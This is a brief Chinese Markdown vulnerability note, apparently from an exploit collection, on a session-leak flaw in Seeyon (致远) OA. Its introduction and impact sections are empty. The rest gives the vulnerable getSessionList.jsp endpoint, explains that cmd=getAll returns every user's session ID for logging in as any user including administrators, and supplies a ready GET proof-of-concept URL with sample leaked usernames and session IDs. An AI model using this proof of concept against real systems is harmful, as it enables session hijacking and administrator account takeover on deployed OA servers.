致远OA Session泄漏漏洞.md

603 B / 2021-04-21 09:23:46
    致远OA Session泄漏漏洞
======================

一、漏洞简介
------------

二、漏洞影响
------------

三、复现过程
------------

##### 漏洞位置:

    http://www.0-sec.org/yyoa/ext/https/getSessionList.jsp

##### 漏洞详情:

    当cmd参数为getAll时，便可获取到所有用户的SessionID利用泄露的SessionID即可登录该用户，包括管理员

##### 请求方式:

    Get

##### POC:

    http://www.0-sec.org/yyoa/ext/https/getSessionList.jsp?cmd=getAll

##### 回显内容

    weiph 9EA4F8832FA1C9BA99E3D13E2F01CAF7zhaozy F9244E7F1B8C39BB8919FAE8E19ED16